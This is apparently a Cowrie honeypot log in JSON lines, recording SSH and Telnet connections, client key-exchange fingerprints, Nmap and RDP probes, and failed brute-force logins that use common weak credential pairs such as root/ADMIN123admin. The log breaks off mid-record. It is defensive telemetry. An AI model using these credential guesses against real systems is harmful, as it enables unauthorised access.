{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.392173Z","src_ip":"35.187.64.30","session":"eb61c3280fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.630974Z","src_ip":"35.187.64.30","session":"eb61c3280fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":50106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae5e024b4e52","protocol":"ssh","message":"New connection: 35.187.64.30:50106 (159.203.135.109:22) [session: ae5e024b4e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.705941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.789196Z","src_ip":"35.187.64.30","session":"ae5e024b4e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.864317Z","src_ip":"35.187.64.30","session":"ae5e024b4e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:47.871035Z","src_ip":"35.187.64.30","session":"ae5e024b4e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":55578,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fc39e040e38","protocol":"ssh","message":"New connection: 35.187.64.30:55578 (159.203.135.109:22) [session: 7fc39e040e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.018558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.103130Z","src_ip":"35.187.64.30","session":"7fc39e040e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.177267Z","src_ip":"35.187.64.30","session":"7fc39e040e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.183038Z","src_ip":"35.187.64.30","session":"7fc39e040e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.64.30","src_port":55584,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7f8a90a412","protocol":"ssh","message":"New connection: 35.187.64.30:55584 (159.203.135.109:22) [session: 2d7f8a90a412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.334457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.464875Z","src_ip":"35.187.64.30","session":"2d7f8a90a412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.539617Z","src_ip":"35.187.64.30","session":"2d7f8a90a412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.776211Z","src_ip":"35.187.64.30","session":"2d7f8a90a412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":60364,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49d6f7c7683","protocol":"ssh","message":"New connection: 81.30.162.19:60364 (159.203.135.109:22) [session: e49d6f7c7683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.815566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.820312Z","src_ip":"81.30.162.19","session":"e49d6f7c7683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:48.940686Z","src_ip":"81.30.162.19","session":"e49d6f7c7683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN123admin","message":"login attempt [root/ADMIN123admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:49.455025Z","src_ip":"81.30.162.19","session":"e49d6f7c7683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":45740,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be9aded9333","protocol":"ssh","message":"New connection: 210.79.142.221:45740 (10.17.0.5:22) [session: 8be9aded9333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:50.060410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:50.065808Z","src_ip":"210.79.142.221","session":"8be9aded9333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:50.309824Z","src_ip":"210.79.142.221","session":"8be9aded9333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:50.577056Z","src_ip":"81.30.162.19","session":"e49d6f7c7683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git1234","message":"login attempt [git/git1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:51.318546Z","src_ip":"210.79.142.221","session":"8be9aded9333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:11:52.565900Z","src_ip":"210.79.142.221","session":"8be9aded9333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36012,"dst_ip":"159.203.135.109","dst_port":22,"session":"877e225a3e23","protocol":"ssh","message":"New connection: 159.203.92.129:36012 (159.203.135.109:22) [session: 877e225a3e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:07.019310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:07.023813Z","src_ip":"159.203.92.129","session":"877e225a3e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:07.028928Z","src_ip":"159.203.92.129","session":"877e225a3e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ubuntu","message":"login attempt [ansible/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:07.039148Z","src_ip":"159.203.92.129","session":"877e225a3e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019965171814,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:07.665694Z","src_ip":"45.186.135.53","session":"7b3152a43743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:08.045918Z","src_ip":"159.203.92.129","session":"877e225a3e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":21003,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b357c7de572","protocol":"telnet","message":"New connection: 45.186.135.53:21003 (159.203.135.109:23) [session: 0b357c7de572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:08.160227Z"}
{"eventid":"cowrie.session.closed","duration":120.00105834007263,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:10.387248Z","src_ip":"45.186.135.53","session":"6e3b715eca15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00094652175903,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:10.728484Z","src_ip":"45.186.135.53","session":"20ebc800e5dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":21038,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd3ec16abe37","protocol":"telnet","message":"New connection: 45.186.135.53:21038 (159.203.135.109:23) [session: cd3ec16abe37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:11.005289Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":21100,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb4263f7c49","protocol":"telnet","message":"New connection: 45.186.135.53:21100 (159.203.135.109:23) [session: 0bb4263f7c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:11.342260Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":64213,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eddfba47c6c","protocol":"ssh","message":"New connection: 103.149.252.223:64213 (159.203.135.109:22) [session: 6eddfba47c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:21.205423Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:21.210358Z","src_ip":"103.149.252.223","session":"6eddfba47c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:21.213336Z","src_ip":"103.149.252.223","session":"6eddfba47c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":47492,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7d6341df40","protocol":"ssh","message":"New connection: 50.99.170.152:47492 (159.203.135.109:22) [session: 3a7d6341df40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:23.445574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:23.450009Z","src_ip":"50.99.170.152","session":"3a7d6341df40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:23.510197Z","src_ip":"50.99.170.152","session":"3a7d6341df40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:23.798379Z","src_ip":"50.99.170.152","session":"3a7d6341df40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:24.860653Z","src_ip":"50.99.170.152","session":"3a7d6341df40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37878,"dst_ip":"159.203.135.109","dst_port":23,"session":"b19c185077d6","protocol":"telnet","message":"New connection: 185.26.126.47:37878 (159.203.135.109:23) [session: b19c185077d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:33.079143Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":40698,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa7052a070c8","protocol":"ssh","message":"New connection: 81.30.162.19:40698 (159.203.135.109:22) [session: aa7052a070c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:43.009935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:12:43.014625Z","src_ip":"81.30.162.19","session":"aa7052a070c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 